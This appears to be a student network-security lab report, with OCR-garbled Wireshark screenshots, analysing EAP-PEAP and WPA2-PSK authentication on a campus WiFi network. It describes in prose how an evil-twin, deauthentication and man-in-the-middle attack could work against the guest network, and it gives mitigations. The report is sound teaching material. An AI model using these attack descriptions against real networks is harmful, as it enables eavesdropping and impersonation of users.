	693	43.	930	221	×1 Vi	2011	100_ 100	_a.9.1	0 0	C1	isco		9.1 9.1	C.9	0				1 2			
	005	40.	343	001		aom	100	45.7	U	0	1.301			0.0	U			1130	1.2		Þ	_
•	Fra	me	Con	trol	L Fie	eld:	0x8	3801														-
.000 0000 0011 1100 = Duration: 60 microseconds																						
1	Receiver address: Cisco_c0:1c:90 (7c:95:f3:c0:1c:90)																					
	Tra	Insm	itt	er a	addre	ess:	Xia	aomi(Co_a	9:7	0:2	6 (08	:25	:25	a9:	70:	26)				
	Des	tin	ati	on a	addre	ess:	Cis	sco_o	:0:1	c:9	0 (7c:	95	:f3	:c0	:1c:9	90)					
	Sou	irce	ad	dres	ss:)	<iao< td=""><td>miCo</td><td>o_a9</td><td>70:</td><td>26</td><td>(08</td><td>:25</td><td>:2</td><td>5:a</td><td>9:70</td><td>9:26</td><td>)</td><td></td><td></td><td></td><td></td><td></td></iao<>	miCo	o_a9	70:	26	(08	:25	:2	5:a	9:70	9:26)					
	BSS	5 Id	: C	isco	0_c0	:1c:	90	(7c:9	95:f	3:c	0:1	c:9	0)									
	STA	ad	dre	ss:	Xiad	omiC	o_as	9:70	26	(08	:25	:25	i:a	9:7	0:20	5)						
		: :	:::		00	900	= F1	ragme	ent	num	ber	: 0)									
	000	00 0	0000	000	90 .		= Se	equer	nce	num	ber	: 0)									
-	Qos	- 1	ntr	01:	0X00	006																
L	ogic	aı-		K CO	ntro	1																
80	92.1	X A		Auth	cati	.on	ion	Drot	000	1				_								
E	Cod	STD	Te /	none		.cal.	TOU	PIOL	000	T												
	Td	1	Res	pons	se (2	2)								- 1								
	Lon		 1	٩										- 1								
	Typ	19 L I		9 ntii	- v (-	1)								- 1								
Г	Tde	nti	tv		21mte	ch1	6001	1	1													-
	Tue			632			600.								7.0						0/0/	•
000	0 2	38 (70 (91 3	SC 0	⊎ /C	95	T3	C0	TC	90	98	25	25	a9	70	26		. < .			%% ·	bø
001				30	0 00	12	00	00	00	12	aa 01	aa	03	22	21	60	1				0.02	1 m
902	0	74 4	5 6	3 6	8 31	36	30	30 -	31	12	OT.	03	13	-32	-91	ou		ech1	600	1	652	т ш
,03		-4- (JJ-0	,5 0	0 91	-50	-00	30	91								Ľ	CCUT	.000	т		
) 7	f Ide	entit	v (ea	p.ide	ntity)	. 14 b	ovtes			Pack	ets:	149	5 · [Displ	avec	: 441	(29	.5%)	Pro	file: C	Classi	c

The Null Authentication,801.1x authentication and 4-way handshake messages are shown below:

No.	Time	Source	Destination	 Protocol 	Length	Info
	70 14.592982	XiaomiCo_a9:70:…	Cisco_c0:1c:90	802.11		26 QoS Null function (No data), SN=509, FN=0, Flags=PT
	98 17.531027	XiaomiCo_a9:70:…	Cisco_c0:1c:90	802.11		26 Deauthentication, SN=2353, FN=0, Flags=
	100 17.531027	XiaomiCo_a9:70:	Cisco_c0:1c:90	802.11		26 QoS Null function (No data), SN=630, FN=0, Flags=T
	647 43.833622	XiaomiCo_a9:70:…	Cisco_c0:1c:90	802.11		125 Probe Request, SN=2370, FN=0, Flags=, SSID=IITH
	649 43.867924	XiaomiCo_a9:70:…	Cisco_c0:1c:90	802.11		30 Authentication, SN=2371, FN=0, Flags=
	657 43.897619	XiaomiCo_a9:70:…	Cisco_c0:1c:90	EAP		57 Response, Identity
	662 43.909395	XiaomiCo_a9:70:…	Cisco_c0:1c:90	TLSv1.2		175 Client Hello
-	667 43.916562	XiaomiCo_a9:70:…	Cisco_c0:1c:90	EAP		44 Response, Protected EAP (EAP-PEAP)
	668 43.917075	XiaomiCo_a9:70:…	Cisco_c0:1c:90	EAP		44 Response, Protected EAP (EAP-PEAP)
	671 43.922707	XiaomiCo_a9:70:…	Cisco_c0:1c:90	EAP		44 Response, Protected EAP (EAP-PEAP)
	675 43.929363	XiaomiCo_a9:70:…	Cisco_c0:1c:90	EAP		44 Response, Protected EAP (EAP-PEAP)
	679 43.936531	XiaomiCo_a9:70:…	Cisco_c0:1c:90	EAP		44 Response, Protected EAP (EAP-PEAP)
	683 43.949331	XiaomiCo_a9:70:…	Cisco_c0:1c:90	TLSv1.2		170 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
	687 43.953939	XiaomiCo_a9:70:…	Cisco_c0:1c:90	EAP		44 Response, Protected EAP (EAP-PEAP)
	691 43.959571	XiaomiCo_a9:70:…	Cisco_c0:1c:90	TLSv1.2		92 Application Data
	695 43.965715	XiaomiCo_a9:70:…	Cisco_c0:1c:90	TLSv1.2		146 Application Data
	699 43.976979	XiaomiCo_a9:70:…	Cisco_c0:1c:90	TLSv1.2		79 Application Data
	703 43.989267	XiaomiCo_a9:70:…	Cisco_c0:1c:90	TLSv1.2		84 Application Data
	709 43.997971	XiaomiCo_a9:70:…	Cisco_c0:1c:90	EAPOL		155 Key (Message 2 of 4)
	713 44.008211	XiaomiCo_a9:70:…	Cisco_c0:1c:90	EAPOL		133 Key (Message 4 of 4)
	715 44.138323	XiaomiCo_a9:70:…	Cisco_c0:1c:90	802.11		33 Action, SN=1007, FN=0, Flags=
	723 44.144979	XiaomiCo_a9:70:…	Cisco_c0:1c:90	802.11		33 Action, SN=1008, FN=0, Flags=
	726 44.144979	XiaomiCo_a9:70:…	Cisco_c0:1c:90	802.11		33 Action, SN=1008, FN=0, Flags=R
	1005 46.546387	XiaomiCo_a9:70:…	Cisco_c0:1c:90	802.11		26 QoS Null function (No data), SN=1009, FN=0, Flags=PT
	1010 46.584274	XiaomiCo_a9:70:…	Cisco_c0:1c:90	802.11		26 QoS Null function (No data), SN=1010, FN=0, Flags=T
	1012 46.624724	XiaomiCo_a9:70:…	Cisco_c0:1c:90	802.11		26 QoS Null function (No data), SN=1011, FN=0, Flags=PT
	1015 46.662099	XiaomiCo_a9:70:…	Cisco_c0:1c:90	802.11		26 QoS Null function (No data), SN=1012, FN=0, Flags=T
	1023 46.714837	XiaomiCo_a9:70:…	Cisco_c0:1c:90	802.11		26 QoS Null function (No data), SN=1013, FN=0, Flags=PT
	1025 46.752212	XiaomiCo a9:70:…	Cisco c0:1c:90	802.11		26 OoS Null function (No data). SN=1014. FN=0. Flags=T



3. 802.1X Authentication

IITH authentication uses *EAP-PEAP*. EAP-PEAP (Protected Extensible Authentication Protocol), creates an encrypted TLS tunnel within which the supplicant's inner identity is validated. Sometimes it is referred to as EAP within EAP. There are 3 major versions of PEAP. [5]

1. EAP-PEAPv0(EAP-MSCHAPv2)

- 2. EAP-PEAPv0(EAP-TLS)
- 3. EAP-PEAPv1(EAP-GTC)

	(= (moli			P.	ARTB_II	TH_SUCCES	SS.cap		1 10750	2	/ - ^		
<u>F</u> ile	<u>E</u> dit <u>V</u> iew	v <u>G</u> o <u>C</u>	apture	<u>A</u> nalyze	<u>S</u> tatistic	s Teleph	on <u>y M</u>	<u>/</u> ireless	<u>T</u> ools	<u>H</u> el	р		
			8383 8310 8313	8	۹ 🤞	• 🔿 🔮		₹			Ð, Q	€,	C
📕 ea	pol									$\times \rightarrow$	- Exp	ression.	+
	Packet lis	t 👻	Narrow	& Wide 👻	Case	e sensitive	Strin	g	•	ge	Find	Ca	ncel
No.	Time		Source	į		Destinati	on			- Prot	ocol	Length	
	668 43.9	17075	Xiao	niCo_a9	:70:	Cisco_	c0:1c	:90		EAF)		
	671 43.9	22707	Xiao	niCo_a9	:70:	Cisco_	c0:1c	:90		EAF	>		
	675 43.9	29363	Xiao	niCo_a9	:70:	Cisco_	c0:1c	:90		EAF	>		
	679 43.9	36531	Xiao	niCo_a9	:70:	Cisco_	c0:1c	:90		EAF	2		
	683 43.9	949331	Xiao	niCo a9	:70:	Cisco	c0:1c	:90		TLS	Sv1.2		
	687 43.9	53939	Xiao	niCo_a9	:70:	Cisco_	c0:1c	:90		EAF)		
	691 43.9	959571	Xiao	niCo_a9	:70:	Cisco_	c0:1c	:90		TLS	Sv1.2		
	695 43.9	65715	Xiao	niCo_a9	:70:	Cisco_	c0:1c	:90		TLS	Sv1.2		
	699 43.9	76979	Xiao	niCo_a9	:70:	Cisco_	c0:1c	:90		TLS	Sv1.2		
	703 43.9	89267	Xiao	niCo_a9	:70:	Cisco_	c0:1c	:90		TLS	Sv1.2		-
4						•						×.	
 ▶ ▶ ↓ ↓ 8 	rame 687 EEE 802.: ogical-L: 02.1X Au	: 44 b 11 QoS ink Co thenti	ytes on Data, ntrol cation	n wire Flags:	(352 b	its), 4 T	4 byt	es ca	pture	ed (3	52 bi	ts)	
	Version	: 802.	1X-200	1 (1)									
	Туре: Е	AP Pac	ket (0)									
-	Length:	6											
₹ E	xtensible	e Auth	enticat	tion Pro	otocol								
	Code: R	espons	e (2)										
	Id: 8	-											
	Length:	6		/=+>									
	Туре: Р	rotect	ed EAP	(EAP-P	'EAP) ((25)							
	EAP-TES	Fiags	: UXUI	h Thel	dod.								
	⊍	=	- Lengt	In Incit	uea:	Faise							
	.⊍	=	- More	Fragmer	ILS: F	arse							
		=	- Start	i Faise	;								
		.001 =	- versi	UII: 1									



4. Message Flow Diagram & Uses of UID/PWD by AS

The following is the call flow in PEAP phase 2 where UID is used by AS,

1. AS requests the real identity of the supplicant.

- 2. The supplicant responds with the inner identity, which is the real username.
- 3. AS sends an EAP request with challenge
- 4. Supplicant sends an EAP response with hashed challenge response.
- 5. AS send an EAP request with EAP-MSCHAPv2 success.
- 6. Supplicant sends an EAP response with ACK.

Once Phase 2 completed, TLS tunnel will be torn down & AS send RADIUS Access Accept msg where Authenticator sends it to Supplicant as "*EAP-Success*" (or EAP-Failure). Then 4-Way Handshake EAPOL-Key exchange (M1-M4) occurs.



Message Flow Diagram [5]

FIGURE 4.27 EAP-PEAP process



5. Wrong Password Case

If we enter a wrong password the EAP authentication fails with error code and it doesn't continue with the 4-Way Handshake. Screenshots are attached below.



Success:

PARTB_IITH_SUCCESS.cap • •									
<u>File</u> Edit View G	<u>So Capture Analyze Statist</u>	ics Telephony <u>W</u> ireless							
		•• • • • • •							
Apply a display fil	Iter <ctrl-></ctrl->			Expression	+				
No. Time	Source	Destination	 Protocol Length 	Info	-				
681 43.9406	609 Cisco_c0:1c:90	XiaomiCo_a9:70:26	TLSv1.2	417 Server Hello					
685 43.9534	409 Cisco_c0:1c:90	XiaomiCo_a9:70:26	TLSv1.2	99 Change Cipher Spec, Encryp					
689 43.9580	017 Cisco_c0:1c:90	XiaomiCo_a9:70:26	TLSv1.2	80 Application Data					
693 43.9636	649 Cisco_c0:1c:90	XiaomiCo_a9:70:26	TLSv1.2	113 Application Data					
697 43.9738	889 Cisco_c0:1c:90	XiaomiCo_a9:70:26	TLSv1.2	124 Application Data					
701 43.9866	689 Cisco_c0:1c:90	XiaomiCo_a9:70:26	TLSv1.2	84 Application Data					
705 43.9928	833 Cisco c0:1c:90	XiaomiCo a9:70:26	EAP	80 Success					
707 43.9938	857 Cisco_c0:1c:90	XiaomiCo_a9:70:26	EAPOL	155 Key (Message 1 of 4)					
711 44.0000	001 Cisco_c0:1c:90	XiaomiCo_a9:70:26	EAPOL	189 Key (Message 3 of 4)					
717 44.1388	817 Cisco_c0:1c:90	XiaomiCo_a9:70:26	802.11	64 Action, SN=3876, FN=0, Fla	-				
721 44.1449	961 Cisco_c0:1c:90	XiaomiCo_a9:70:26	802.11	64 Action, SN=3877, FN=0, Fla					
724 44.1449	957 HewlettP_50:49:	. XiaomiCo_a9:70:26	802.11	209 QoS Data, SN=1389, FN=0, F					
739 44.4890	024 HewlettP_50:49:	. XiaomiCo_a9:70:26	802.11	155 QoS Data, SN=1391, FN=0, F					
746 45.0204	480 Cisco_03:b0:48	XiaomiCo_a9:70:26	802.11	388 QoS Data, SN=1392, FN=0, F					
752 45.0763	352 HewlettP_50:49:	. XiaomiCo_a9:70:26	802.11	209 QoS Data, SN=1393, FN=0, F					
760 45.5013	309 HewlettP_50:49:	. XiaomiCo_a9:70:26	802.11	388 QoS Data, SN=1394, FN=0, F					
764 45.5059	919 Cisco 03:b0:48	XiaomiCo a9:70:26	802.11	388 OoS Data. SN=1395. FN=0. F	Ŧ				
•				•					
	0000 = Fragment	number: 0							
0010 0101	0010 = Sequence	number: 594							
▶ Qos Contro	ol: 0x0007								
Logical-Link	< Control								
- 802.1X Authe	entication								
Version: 8	802.1X-2010 (3)								
Type: EAP	Packet (0)								
Length: 4									
 Extensible A 	Authentication Protoco	1							
Code: Succ	cess (3)								
Id: 12									
Length: 4					-				
0010 7c 95 f	3 c0 1c 90 20 25 07	00 aa aa 03 00 00 0	0 %						
0020 88 8e 0	3 00 00 04 03 0c 00	04 00 00 00 00 00 0	0						
0030 00 00 0	0 00 00 00 00 00 00	00 00 00 00 00 00 0	0						
0040 00 00 0	0 00 00 00 00 00 00	00 00 00 00 00 00 0	0						
					-				
O Z Code (eap.c	ode). 1 byte			Packets: 1495 · Displayed: 1495 (100.0%) Profile: Classic	÷.,				

Failure

PARTB_IITH_FAIL-01.cap	
<u>File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help</u>	
🚄 🔳 🖉 💿 🚞 🖹 🔯 🍳 🗢 👄 🚆 🐺 💆 📰 🔍 🔍	e, II
Apply a display filter <ctrl-></ctrl->	Expression +
No. Time Source Destination Protocol Lengti 1191 23.675367 08:25;25:a9:70: 802.11 1192 23.751207 f8:89:d2:55:6b: 33:33:00:00:00: 802.11 1193 23.751207 f8:89:d2:55:6b: 33:33:00:00:00: 802.11 1194 25.630919 7c:95:f3:c0:1c: 08:25:25:a9:70: 802.11 1195 25.680999 7c:95:f3:c0:1c: 08:25:25:a9:70: 802.11 1195 25.680999 7c:95:f3:c0:1c: 08:25:25:a9:70: 802.11 1197 25.680999 7c:95:f3:c0:1c: 08:25:25:a9:70: 802.11 1197 25.680999 7c:95:f3:c0:1c: 08:25:25:a9:70: 802.11 1199 25.685095 08:25:25:a9:70: 7c:95:f3:c0:1c: 802.11 1199 25.685095 08:25:25:a9:70: EAP 1200 25.682263 7c:95:f3:c0:1c: 802.11 1201 25.692274 7c:95:f3:c0:1c: 802.11	h Info 10 Acknowledgement, Flags= 191 Data, SN=2390, FN=0, Flags= 120 Data, SN=2391, FN=0, Flags= 191 Data, SN=2420, FN=0, Flags= 80 Failure 10 Acknowledgement, Flags= 119 Request, Identity 10 Acknowledgement, Flags= 57 Response, Identity 10 Acknowledgement, Flags= 80 Request, Protected EAP (EAP- 10 Acknowledgement, Flags=
1203 25.694834 08:25:25:a9:70: 7c:95:f3:c0:1c: TLSV1.2	175 Encrypted Handshake Message
<pre> 0000 = Fragment number: 0 0010 0110 0100 = Sequence number: 612 Vos Control: 0x0007 Logical-Link Control 802.1X Authentication</pre>	
<pre>Version: 802.1X-2010 (3) Type: EAP Packet (0) Length: 4 • Extensible Authentication Protocol Code: Failure (4) Id: 11 Length: 4</pre>	



6. Management Frames Protection

No, IITH doesn't protect management frames. They are generally not protected for compatibility reasons. There are a total of 12 kinds of Management Frame Subtypes [6] and I have used an *Authentication* filter to display the screenshot.

	(wlan.fc.type == 0)&&(wlan.fc.type_subtype == 0x0b)										
File	PARTB_IITH_SUCCESS.cap										
	◢ ■ ∅ ◎ 🚍 🖹 🖉 ९ ← → 🛎 🖝 🖢 📰 🔍 ९, ९, ୩										
" (w	(wlan.fc.type == 0)&&(wlan.fc.type_subtype == 0x0b)										
No.	Time	Source	Destination	 Protocol 	Length	Info					
	649 43.867924 651 43.867905	XiaomiCo a9:70: Cisco_c0:1c:90	Cisco c0:1c:90 XiaomiCo_a9:70:26	802.11 802.11		30 Authentication, 61 Authentication,	SN=2371, SN=3870,	FN=0, FN=0,			
•								Þ			
► F	rame 649: 30 by	tes on wire (240 l	bits), 30 bytes captu	ured (240 bi	lts)						
• I	EEE 802.11 Auth Type/Subtype:	entication, Flags	: x000b)								
-	Frame Control	Field: 0xb000	,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,								
		Version: 0	frame (A)								
	1011 =	Subtype: 11	Traille (0)								
	➡ Flags: 0x00										
	00	= DS status: Not	leaving DS or networ This is the last fu	rk is operat	ing in Al	D-HOC mode (To DS: 0 From DS: 0) (0x0)				
	0	= Retry: Frame is	s not being retransm:	itted							
	0	= PWR MGT: STA w	ill stay up								
	0	<pre>= More Data: No of = Drotootod flog</pre>	data buffered	had							
		= Order flag: Not	: Data is not protect	Lea							
	.000 0000 0011	L 1100 = Duration:	60 microseconds								
	Receiver addre	ess: Cisco_c0:1c:9	0 (7c:95:f3:c0:1c:90)							
	Destination ac	dress: Cisco_c0:1	c:90 (7c:95:f3:c0:1c	:90)							
	Source address	s: XiaomiCo a9:70:	26 (08:25:25:a9:70:2	6)							
	BSS Id: Cisco	_c0:1c:90 (7c:95:f	3:c0:1c:90)	- /							
		0000 = Fragment	number: 0								
- T	1001 0100 0011	L = Sequence	number: 2371								
- 1	Fixed paramete	ers (6 bytes)									
	Authenticat	ion Algorithm: Ope	en System (0)								
	Authenticat:	ion SEQ: 0x0001	000)								
	Status code	. Successiui (0X00	100)								
0	IEEE 802.11 wirele	ess LAN (wlan), 6 bytes				Packets: 1495 · Displayed: 2 (0.1%)	Profile: 0	Classic			

7. Password Cracking in WPA2 Enterprise

We can capture the eapol messages for an enterprise network but it will be useless because the ptk is derived from MSK (which is impossible for offline dictionary attacks to guess). Hence offline dictionary attacks are not possible on enterprise networks.

8. Attacks possible on WPA2-EAP

As we have seen in the question above, Evil Twin Attack is possible. EAP,GTC downgrade attacks and several MITM attacks are also possible [8]. To mitigate these attacks users must only trust valid certificates and cautiously connect to WiFi APs.

9. Authentication of IITH-Guest

IITH-Guest network works according to WPA2-PSK which doesn't involve authentication with an authentication server like LDAP. The authentication is done by the AP itself before the exchange of 4-way handshake which is a simple NULL authentication request and response exchange with unicast packets.



This authentication is always supposed to be successful, as the successful or failure matching of the Wi-Fi password is validated during the 4-way handshake only (validation of MIC by AP after message2).

Activities 🖉 Wireshark	•				अप्रैल 19 07	34 🧧 🗠 á	5. 40 🎚 4Î 🕶
				PARTB_II	TH_GUEST_S	UCCESS-01.cap	_ = 🛛 😣
File Edit View Go Capture	Analyze Statistics Telephony	<u>Wireless</u> Tools <u>H</u> elp					
	🖹 🙆 🤇 🗢 🏓 警		Q Q 🏢				
wlan.sa == 08:25:25:a9:70:20	6 or wlan.da == 08:25:25:a9:70:2	6					+ • 💷
No. Time 170 15.64556 172 16.54556 172 16.54556 171 16.74555 213 19.699478 293 41.077311 295 42.129326 306 42.570841 308 42.577084 314 4.571471 315 42.62537 315 42.62537 317 312.62637 319 42.642637 323 42.660601 326 42.660902 326 42.669961 332 42.765998 332 42.765998 332 42.765998 332 42.765998 332 42.765998 332 42.729668 334 42.729668 334 42.731206 424 42.731206	Source Siaomico_a9:70:26 Xiaomico_a9:70:26 Xiaomico_a9:70:26 Xiaomico_a9:70:26 Cisco_c0:1c:93 Cisco_c0:1c:93 Cisco_c0:1c:93 Cisco_c0:1c:93 Cisco_c0:1c:93 Xiaomico_a9:70:26 Cisco_c0:1c:93 Xiaomico_a9:70:26 Cisco_c0:1c:93 Xiaomico_a9:70:26 Cisco_c0:1c:93 Xiaomico_a9:70:26 Cisco_c0:1c:93 Xiaomico_a9:70:26 Xiaomico_a9:7	Destination HewlettP_66:fa:e3 Cisco_c0:1c:93 Cisco_c0:1c:93 Cisco_c0:1c:93 Cisco_c0:1c:93 XiaomiCo_a9:70:26 Cisco_c0:1c:93 XiaomiCo_a9:70:26 Cisco_c0:1c:93 XiaomiCo_a9:70:26 Cisco_c0:1c:93 XiaomiCo_a9:70:26 Cisco_c0:1c:93 XiaomiCo_a9:70:26 Cisco_c0:1c:93 XiaomiCo_a9:70:26 Cisco_c0:1c:93 XiaomiCo_a9:70:26 Cisco_c0:1c:93 AiaomiCo_a9:70:26 IPv4mcast_16 Cisco_c0:1c:93 HewlettP_66:fa:e3 IPv4mcast_16 Cisco_c0:1c:93 HewlettP_66:fa:e3 IPv4mcast_16 XiaomiCo_a9:70:26 XiaomiCo_a9:70:26 XiaomiCo_a9:70:26 XiaomiCo_a9:70:26 XiaomiCo_a9:70:26 XiaomiCo_a9:70:26 XiaomiCo_a9:70:26 XiaomiCo_a9:70:26	Protocol 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11	Length Identification 4338 26 26 26 293 30 61 172 149 155 189 133 364 90 206 26 78 126 90 66 90 66 90 66 90 64 92 90	Time to live	Info QoS Data, SN=1014, FN=0, Flags=.pT QoS Null function (No data), SN=383, FN=0, Flags=T QoS Null function (No data), SN=384, FN=0, Flags=PT Deauthentication, SN=2396, FN=0, Flags=P Probe Response, SN=1252, FN=0, Flags=R, BI=204, SSID=IITH-Guest-PWD-IITH@2022 Probe Response, SN=1252, FN=0, Flags=, BI=204, SSID=IITH-Guest-PWD-IITH@2022 Authentication, SN=329, FN=0, Flags=, SID=IITH-Guest-PWD-IITH@2022 Reassociation Response, SN=155, FN=0, Flags=, SSID=IITH-Guest-PWD-IITH@2022 Reassociation Response, SN=1695, FN=0, Flags=, Authentication, SN=520, FN=0, Flags=, Authentication, SN=520, FN=0, Flags=, Action, SN=526, FN=0, Flags=, Action, SN=1590, FN=0, Flags=, Action, SN=1590, FN=0, Flags=, CoS Data, SN=1, FN=0, Flags=, T QoS Data, SN=3, FN=0, Flags=.p., T QoS Data, SN=4, FN=0, Flags=.p, T QoS Data, SN=4, FN=0, Flags=.p, T QoS Data, SN=50, FN=0, Flags=.p, T QoS Data, SN=6, FN=0, Flags=.p, T Action, SN=1902, FN=0, Flags=, T Action, SN=1902, FN=0, Flags=, T Acti	
Type/Subtype: Auth > Frame Control Fiel .000 0000 001 010 Receiver address: Destination address Source address: C BSS Id: Cisco.Cell 	entication (9x808b) d: 0x0000 d: 0x10000 0 = Duration: 52 micros Xiaomico_m9:70:26 (08:2 s: Xiaomico_m9:70:26 (08:2 s: Xiaomico_m9:70:26 (08:2 s: Xiaomico_m9:70:26 (08:2 s: Colored (08:70:26) s: Xiaomico_m9:70:26 (08:2 s: Xiaomico_m9:70:26 (08:2 s: Colored (08:70:26) d: 00 = Fragment number: 0 Management 6 bytes) Ugorithm: Open System SEQ: 0x0002 ccessful (0x0000) (31 bytes) offic: Cisco Systems, In- ifour Specific (221) 9 (cisco Systems, Inc.) io OUT Type: 12 pe: Unknown (12) ta: 8112adf5ee1f307e010	seconds 5:25:25:a9:70:26) 8:25:25:a9:70:26) 5:f3:c6:1c:93) 3) 394 (0) nc.: Aironet Unknown (90069f100000000a179d7d	12) 166cd6f0			00000 36 00 34 00 08 25 23 70 26 70 26 76 26 10 36 00 00 20 00 00 20 00 00 20 00 00 20 10 00 00 10 17 10 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 17 10 0 0	3 ∎-4%%- d ¥ 9 ₽y

The same we can see in the figure above. The authentication between the AP and Client is taking place using the "Open System" authentication mechanism with Vendor specific tagged parameters. Open system because the AP allows all the clients to connect to it.

Moreso, the password of the IITH Guest Network is mentioned in the SSID itself like an Open Network with Password, which allows any and all the clients to connect to the network successfully. Being in the network means an attacker can eavesdrop (capture, record and analyze) on incoming and outgoing packets (traffic) for exchange of any private, sensitive and important information or launch ARP spoofing attacks.

Also, with the password clearly, available, the attacker can create an evil twin of the same network in some other channel, deAuth the client from the original AP and force the clients to connect to its evil twin in different channel to successfully launching Man-in-the-middle, Denial of service or impersonation attack. The attacker can create multiple TLS connecting pipes (client to attacker and attacker to server) to compromise the entire encrypted exchange of messages.

The naive way to prevent such an attack into the network is to not broadcast the password of the network in the SSID itself. This limits some of the foreign entities into the network but it is not enough.



A more secure form of mitigating such attacks is to install WPA2-Enterprise with active verification (802.1X authentication) using an authentication server where a different passphrase is dedicated to each individual. This authentication only allows access to individuals with a dedicated username and corresponding passphrase to generate the PMK and eventually a PTK.

						_
File Edit View Go Canture	Analyze Statistics Telephone	Wireless Tools Help		PARTB_IITH_GUEST_S	UCCESS-01.cap –	ð 😣
	🖹 🙆 🤇 🔶 🔿 警	▲	Q Q 👖			
wlan.sa == 08:25:25:a9:70:26	6 or wlan.da == 08:25:25:a9:70:2	6			X	 +
No. Time	Source	Destination	Protocol	Length Identification Time to live	Info	
151 14.232444	HewlettP_50:49:7d	XiaomiCo_a9:70:26	802.11	244	QoS Data, SN=2619, FN=0, Flags=.pF.	_
153 14.518216	XiaomiCo_a9:70:26	HewlettP_66:fa:e3	802.11	438	QoS Data, SN=1012, FN=0, Flags=.pT	
154 14.518220	X1aom1Co_a9:70:26	Cisco_c0:1c:93	802.11	26	QoS Null function (No data), SN=375, FN=0, Flags=T	
158 14.862792	XiaomiCo_a9:70:20	IPv6mcast 02	802.11	196	OS DALL SNEIDIS FIEL AND	
160 14.862796	XiaomiCo_a9:70:26	Cisco_c0:1c:93	802.11	26	QoS Null function (No data), SN=377, FN=0, Flags=T	
162 14.914508	XiaomiCo_a9:70:26	Cisco_c0:1c:93	802.11	26	QoS Null function (No data), SN=378, FN=0, Flags=PT	
164 14.994379	XiaomiCo_a9:70:26	Cisco_c0:1c:93	802.11	26	QoS Null function (No data), SN=388, FN=0, Flags=PT	
168 15, 196621	XiaomiCo_a9:70:26	Cisco_c0:1c:93	802.11	26	UOS NULL FUNCTION (NO Data), SN=361, FN=0, Flags=, T	
170 16.545356	XiaomiCo_a9:70:26	HewlettP_66:fa:e3	802.11	438	QoS Data, SN=1014, FN=0, Flags=,pT	
172 16.545360	XiaomiCo_a9:70:26	Cisco_c0:1c:93	802.11	26	QoS Null function (No data), SN=383, FN=0, Flags=T	
177 16.745555	XiaomiCo_a9:70:26	Cisco_c0:1c:93	802.11	26	QOS Null function (No data), SN=384, FN=0, Flags=PT	
210 19.099478	Cisco c0:10:02	C1SCO_C0:1C:93 VisomiCo_s0:70:26	802.11	20	Drohe Desponse SN-1251 EN-8 Elags- P BT-204 SSTD-TTTU-Guest-Dub.TTTU92022	
295 42.120320	Cisco c0:10:93	XiaomiCo a9:70:26	802.11	293	Probe Response, SN=1221, FN=0, Flags=, BI=204, SSID=IITH-Guest-PWD-IITH@2022	
304 42.570959	XiaomiCo_a9:70:26	Cisco_c0:1c:93	802.11	30	Authentication, SN=524, FN=0, Flags=	
306 42.570944	Cisco_c0:1c:93	XiaomiCo_a9:70:26	802.11	61	Authentication, SN=1894, FN=0, Flags=	
308 42.571471	XiaomiCo_a9:70:26	Cisco_c0:1c:93	802.11	172	Reassociation Request, SN=525, FN=0, Flags=, SSID=IITH-Guest-PWD-IITH@2022	
310 42.577088	Cisco_c0:1c:93	X1aom1Co_a9:70:26 XiaomiCo_a9:70:26	802.11 FAPOI	149	Reassociation Response, SN=1895, FN=0, Flags=	
315 42.625230	XiaomiCo_a9:70:26	Cisco_c0:1c:93	EAPOL	155	Key (Message 2 of 4)	
317 42.642624	Cisco_c0:1c:93	XiaomiCo_a9:70:26	EAPOL	189	Key (Message 3 of 4)	
319 42.642637	XiaomiCo_a9:70:26	Cisco_c0:1c:93	EAPOL	133	Key (Message 4 of 4)	
321 42.680012	XiaomiCo_a9:70:26	Cisco_c0:1c:93	802.11	33	Action, SN=526, FN=0, Flags=	
323 42.080000	XiaomiCo a9:70:26	TPv4mcast 16	802.11	90	ACLION, SM-1990, FN-0, FlagsT	
328 42.699462	XiaomiCo_a9:70:26	IPv6mcast_16	802.11	296	OS Data, SN-2, FN=0, Flags-p.PT	
330 42.699463	XiaomiCo_a9:70:26	IPv4mcast_16	802.11	90	QoS Data, SN=3, FN=0, Flags=.p.PT	
332 42.705098	XiaomiCo_a9:70:26	Cisco_c0:1c:93	802.11	26	QoS Null function (No data), SN=528, FN=0, Flags=T	_
335 42.729161	X1aom1Co_a9:70:26	HewlettP_66:fa:e3	802.11	78	QoS Data, SN=4, FN=0, Flags=.pT	
338 42.729668	XiaomiCo a9:70:26	IPv4mcast 16	802.11	90	OS Data, SN-6, FN-6, Flags-pT	
→ Frame 335: 78 bytes (→ IEEE 802.11 QoS Data, → Data (44 bytes)	on wire (624 bits), 78 , Flags: .pT	bytes captured (624 t	oits)	N 1	0000 88 41.32 007 95 73 c0 12 30 25 25 a9 70 26 -Ac 0010 60 90 90 90 75 c1 a 48 60 60 56 00 60 90	f @ Du M·] T-···
 Frame 335: 78 bytes of the second seco	on wire (624 bits), 78 , Flags: .pT b. Conne	bytes captured (624 t	n Wro	ng Password अप्रेल 19 00	0000 88 41 30 00 76 25 76 20 -Ac 0000 88 41 30 00 50 50 50 50 50 50 50 50 50 50 60 50 60 50 60 50 60 50 60 50 60 50 60 60 50 60 60 50 60	f@. Du M]. T(
Frame 335: 78 bytes e → IEEE 802.11 QoS Data, → Data (44 bytes) Activities ∠ Wireshark	on wire (624 bits), 78 , Flags: .pT b. Conne	bytes captured (624 t	n Wro	ng Password side 19 of parts_ith_cuest_f	0000 88 41.30 00 70 95 72 c0 10 93 62 25.30 70 20 -Ac 0000 88 41.30 60 76 24 76 c4 30 90 95 40 9	f.ee Du M]. T
 Frame 335: 78 bytes of TEEE 802.11 QoS Data, Data (44 bytes) Activities	on wire (624 bits), 78 , Flags: .pT b. Conne	bytes captured (624 t ecting with (<u>Wireless</u> Iools <u>Help</u>	n Wro	ng Password star 19 00 partb_iith_cuest_i	6000 88 41.30 60 70 95 72 61 76 95 76 20 76 20 76 20 76 20 76 20 76 20 76 20 76 20 76 20 76 76 86 86 40 60 60 56 40 60 60 56 40 60 56 42 60 86 40 60 56 42 60 85 40 60 56 42 60 85 40 57 67 86 30 76 67 97 40 63 87 60 86 40 60 86 40 61 86 40 61 86 40 61 86 40 61 86 40 61 86 40 61 86 40 61 86 40 61 86 40 61 86 40 61 61 61 61 61 61 61 61 61 61	r'.@. Du M]. T
